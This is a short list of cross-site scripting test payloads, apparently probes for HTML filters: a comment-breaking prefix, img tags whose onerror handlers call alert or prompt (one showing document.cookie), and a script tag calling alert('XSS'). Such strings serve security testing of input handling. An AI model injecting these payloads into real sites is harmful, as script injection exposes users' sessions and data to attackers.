<--`<img src=x onerror=alert(112)> --!>

<img src=x onerror=prompt(1337)> <img src=x onerror=prompt(document.cookie)> <script>alert('XSS')</script>